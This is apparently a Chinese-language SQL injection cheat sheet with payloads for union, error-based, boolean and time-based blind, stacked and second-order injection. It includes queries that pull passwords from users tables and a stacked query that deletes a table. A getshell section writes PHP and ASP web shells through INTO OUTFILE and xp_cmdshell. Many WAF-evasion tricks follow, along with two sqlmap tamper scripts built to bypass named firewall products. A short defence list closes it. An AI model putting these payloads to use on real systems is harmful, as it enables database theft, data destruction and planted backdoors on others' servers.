sql 注入原理:

前端提交的数据未作处理或者转义直接带入数据库查询。

sql 注入分类:

按变量类型分:数字型、字符型

按 http 提交方式分:POST注入、GET注入、Cookie注入

按注入方式分:布尔注入、联合注入、多语句注入(堆叠注入)、报错注入、延时注入、内联注入

按数据库类型分:

sql:oracle、mysql、mssql、access、sqlite、postgersql

nosql:mongodb、redis

MySQL与MSSQL及ACCESS之间的区别

1.MySQL5.0以下没有information_schema这个默认数据库

2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释

1
select 1,2,3 from `table_name` union select 1,2,3 from `table_name`

3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)

判断三种数据库的语句

1
2
3
4
5
MySQL:and length(user())>10

ACCESS:and (select count(*) from MSysAccessObjects)>0

MSSQL:and (select count(*)from sysobjects)>0

报错函数总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

1 and extractvalue(1,concat('~',database()))#

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理:

1.floor()

向下取整。

即取不大于x的最大整数。取按照数轴上最接近要求值的左边值。

https://blog.csdn.net/qq_27130557/article/details/120902212

exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。

updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。0x7e=‘~’

1
2
3
4
5
6
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- + 
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:

1
2
3
4
substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度

?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

手工注入流程

1.判断注入点

1
2
3
4
5
6
7
8
9
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
' and 1=1 --+
' or 1=2 --+

2.获取字段数

1
2
3
order by 1

order by 50

3.查看显示位尝试使用联合注入

利用and 1=2或and 0及id=-12查看显示数据的位置

替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)

1
and 1=2 union select version(),2,3 --+

再查询所有数据库

1
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3

查询所有表名

1
union select (select group_concat(table_name)from information_schema.tables),2,3

查询所有字段名

1
union select (select group_concat(column_name)from information_schema.columns),2,3

查询字段内容

如:查询test库下users表的id及uname字段,用’~’区分id和uname以防字符连接到一起

1
union select(select group_concat(id,'~',uname)from test.users),2,3

报错注入

通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)

1
2
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

布尔盲注

盲注中常用的函数:

1.char() 解ASCII码

2.mid()截取字符串

1
2
举例:
mid('hello',1,3),从第1位开始截取3位,输出位hel

3.substr()与mid()相同,都为截取字符串

4.count()计算查询结果的行数

5.concat()查询结果合并但保持原有行数

6.group_concat()查询结果合并但都放在一行中

7.ascii() 查询ascii码

猜数据库长度(利用二分法)

1
2
id=1 and (length(database()))>1
id=1 and (length(database()))>50

猜第一个字符,第二个字符,以此类推

1
2
and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1

查询当前数据库中所有表名

1
2
and (select count(table_name)from information_schema.tables where tables_schema=database())>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>10

查询第一个表的长度

1
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10

查询表的第一个字符

1
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1

查询atelier表里有几个字段

1
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2

查询第一个字段长度

1
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1

查询字段第一个字符

1
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105

查询字段所有行数

1
and (select count(*) from db83231_asfaa.atelier)>4

查询字段名的行数(查询emails表,uname字段)

1
and (select count(uname)from security.emails)>7  查询uname的行数

查询字段内容

1
2
length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100

延时盲注

利用sleep(3)和if(1=2,1,0)及case进行延时注入,示例:

1
select * from user where id='1' or sleep(3) %23

这个没什么好说的

1
select * from user where id= 1 and if(length(version())>10,sleep(3),0);

如果长度大于10,则睡3秒,其他则0秒

1
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;

case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。

多语句注入(堆叠注入)

多语句意思就是可以执行多个语句,利用分号进行隔开

1
2
3
4
示例:
id=1";WAITFOR DELAY '0:0:3';delete from users; --+
id=1';select if(length(user(),1,1)>1,sleep(3),1) %23
';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23

内联注入

1
举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

利用别名:

1
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)

getshell

1
id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+

也可使用dumpfile进行写入

outfile和dumpfile的区别:

outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。

数据库写入:

1
exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:\www\upload\Files\2019-11\404.asp"'

宽字节注入

当编码位gbk时,%df%27或%81%27数据为空

就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符\反斜杠,闭合之后页面恢复正常,存在宽字节注入

二次编码注入

代码中有urldecode() 函数

%2527 先解码成%27再解码成’单引号

1
sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"

-prefix为设置前缀 -suffix为设置后缀

设置后缀,防止sqlmap使用内联注

使用自带的脚本进行注入chardoubleencode.py

图片上传sql注入

猜结构,为时间戳加文件名

图片

图片

替换and sleep(3) 为*进行sqlmap

二次注入

abc’ 数据经过addslashes过滤,单引号前面添加反斜杠abc',但传到数据库的数据还是abc’

假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test’,接下来访问xxx.php?username=test’,页面返回id=22;

接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。

访问xxx.php?id=test’ union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。

常用过WAF技巧

1.特征字符大小写(基本没用)

1
UnIoN SeLcT 1,2,3

2.内联注释

1
id=-1/*!UNION*/%20//*!SELECT*/%201,2,3

3.特殊字符代替空格

1
2
%09 tab键(水平)、%0a 换行、%0c 新的一页
%0d return功能、%0b tab键(垂直)、%a0空格

4.等价函数和逻辑符号

1
2
3
4
5
6
7
hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()
@@version==>version()
@@datadir==>datadir()
逻辑符号:如and和or不能使用时,尝试&&和||双管道符。

5.特殊符号

1
2
3
反引号,select `version()`,绕过空格和正则
加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤
@符号,用于定义变量,一个@代表用户变量,@@代表系统变量

6.关键字拆分

1
2
3
4
5
'se'+'lec'+'t'
%S%E%L%C%T 1,2,3
?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')
!和():'or--+2=--!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)

7.加括号绕过

小括号

1
2
3
4
union (select+1,2,3+from+users)%23
union(select(1),(2),(3)from(users))
id=(1)or(0x50=0x50)
id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))

花括号

1
2
select{x user}from{x mysql.user}
id=-1 union select 1,{x 2},3

8.过滤and和or下的盲注

1
2
id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23
id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23

9.白名单绕过

拦截信息:

1
GET /pen/news.php?id=1 union select user,password from mysql.user

绕过:

1
2
GET /pen/news. php/admin?id=1 union select user,password from mysql. user
GET /pen/admin/..\news. php?id=1 union select user,password from mysql. user

10.HTTP参数控制

(1)HPP(HTTP Parmeter Polution)(重复参数污染)

举例:

1
2
index.php?id=1 union select username,password from users
index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users

HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。

具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过

(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)

HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

举例:

1
2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

11.burpsuite 插件分块传输

https://github.com/c0ny1/chunked-coding-converter

SQL注入防御

  1. 对用户输入的内容进行转义
  2. 限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度
  3. 使用 SQL 语句预处理,然后进行参数绑定,最后传入参数
  4. 添加 WAF、防火墙等。

拓展

sqlmap bypass D盾 tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass

def tamper(payload, **kwargs):
"""
BYPASS Ddun
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/*DJSAWW%2B%26Lt%3B%2B*/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/*DJSAWW%2B%26Lt%3B%2B*/"
continue
retVal += payload[i]
return retVal

sqlmap bypass 云锁 tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
payload=payload.replace('ORDER','/*!00000order*/')
payload=payload.replace('ALL SELECT','/*!00000all*/ /*!00000select')
payload=payload.replace('CONCAT(',"CONCAT/**/(")
payload=payload.replace("--"," */--")
payload=payload.replace("AND","%26%26")
return payload

参考

https://mp.weixin.qq.com/s/Hor7qN5XPRZuoxpOLQac3g